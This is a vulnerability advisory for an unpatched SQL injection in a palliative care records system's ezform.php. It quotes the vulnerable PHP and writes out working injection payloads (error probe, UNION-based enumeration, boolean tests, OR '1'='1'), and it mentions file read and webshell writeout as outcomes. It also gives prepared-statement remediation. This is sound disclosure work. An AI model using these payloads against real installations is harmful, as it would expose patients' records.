CVE-2026-38581: SQL Injection in damasac/thaipalliative_lte
- CVE ID
- CVE-2026-38581
- CVSS
- 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- Vendor
- damasac
- Product
thaipalliative_lte- Affected
- 1.0 through 3.0 (all releases)
- Fixed in
- No patch available
- Reporter
- Jackson Mittag (0dayscyber)
Summary
An unauthenticated SQL injection exists in /substudy/ezform.php. Two URL parameters, idFormMain and id, are concatenated directly into MySQL queries with no prepared statement, no escaping, and no input filter of any kind. Errors are exposed to the response through or die(mysqli_error()), so a remote attacker can go from a single probe request to full database extraction in a few minutes.
Because thaipalliative_lte is a palliative care records system, the database on the other side of that query holds patient identifiers, care notes, and clinical scheduling data.
Affected component
All references below point at /substudy/ezform.php at commit 57b5763.
Vulnerability details
Entry point 1: idFormMain (line 14)
The parameter is glued into a SELECT against the formmain table using string concatenation. The single quotes wrapping the value are the only thing keeping the query well formed, so a single apostrophe in the input closes the literal and gives the attacker syntactic reach into the rest of the statement.
// Line 14
$sqlFormMain = "SELECT * FROM formmain WHERE formid='" . $_GET["idFormMain"] . "'";
$queryFormMain = mysqli_query($con, $sqlFormMain) or die(mysqli_error());
/substudy/ezform.php?idFormMain='
Sending a bare single quote breaks the query and triggers the or die(mysqli_error()) branch, so the raw MySQL error message reaches the response body. That confirms the injection and gives the attacker a working error channel.
/substudy/ezform.php?idFormMain=' UNION SELECT 1,2,3,4,5-- -
Column count needs to match the formmain schema. Once aligned, replace the placeholders with @@version, database(), or (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()) to enumerate.
/substudy/ezform.php?idFormMain=' AND '1'='1
/substudy/ezform.php?idFormMain=' AND '1'='2
A useful fallback if error output ever gets suppressed downstream. Response length or presence of the formmain record delta answers the boolean.
Entry point 2: id (line 49)
The id parameter arrives via $_REQUEST, so it works over GET, POST, or a poisoned cookie. It gets assigned straight into $id and then concatenated into a second query. That second query runs against a table name pulled from the first query's result, which means an attacker who already controls entry point 1 can steer this one at an arbitrary table.
// Lines 32-33
$id = $_REQUEST["id"];
// Line 49
$sql = "SELECT * FROM `" . $dataFormMain["tablename"] . "` WHERE id='" . $id . "'";
$query = mysqli_query($con, $sql) or die(mysqli_error());
/substudy/ezform.php?idFormMain=1&id=' OR '1'='1
Impact
The straightforward outcomes:
- Full extraction of the underlying MySQL database, including patient records
- Bypass of any application logic gated on database lookups, including auth checks that compare a session record to a query result
- Arbitrary file read through
LOAD_FILE()when the MySQL user holds theFILEprivilege - Webshell writeout through
INTO OUTFILEwhen the MySQL process can write inside the webroot - Lateral movement across other databases owned by the same MySQL user
The or die(mysqli_error()) pattern short-circuits the usual friction of blind SQLi. Error-based techniques work out of the box, so exploitation does not require any manual timing calibration or oracle setup.
Root cause
The file builds every SQL statement through string concatenation of superglobals. There are no prepared statements, no mysqli_real_escape_string() calls, no positive input validation, and no type coercion. The same anti-pattern shows up at both call sites, which suggests a codebase-wide fix rather than two point patches.
Remediation
Convert every affected query to a prepared statement with bound parameters. The mysqli API supports this directly, so the migration is mechanical.
// Vulnerable
$sql = "SELECT * FROM formmain WHERE formid='" . $_GET["idFormMain"] . "'";
$result = mysqli_query($con, $sql);
// Fixed
$stmt = mysqli_prepare($con, "SELECT * FROM formmain WHERE formid = ?");
mysqli_stmt_bind_param($stmt, "s", $_GET["idFormMain"]);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
Additional hardening that pays off across the codebase:
- Delete every
or die(mysqli_error()). Errors should log server side and return a generic 500 to the client. - Give the runtime database user only the privileges the application actually uses. No
FILE, noSUPER, no cross-databaseSELECT. - Coerce numeric parameters at the boundary.
$id = (int) $_REQUEST["id"];collapses an entire class of payloads on parameters that were only ever numeric. - Consider a table name allowlist wherever
$dataFormMain["tablename"]feeds a query; a compromised row informmainshould not be able to redirect queries to an arbitrary table.
Timeline
| Date | Event |
|---|---|
| Vulnerability discovered by Jackson Mittag (0dayscyber) | |
| CVE-2026-38581 reserved by MITRE | |
| Public disclosure |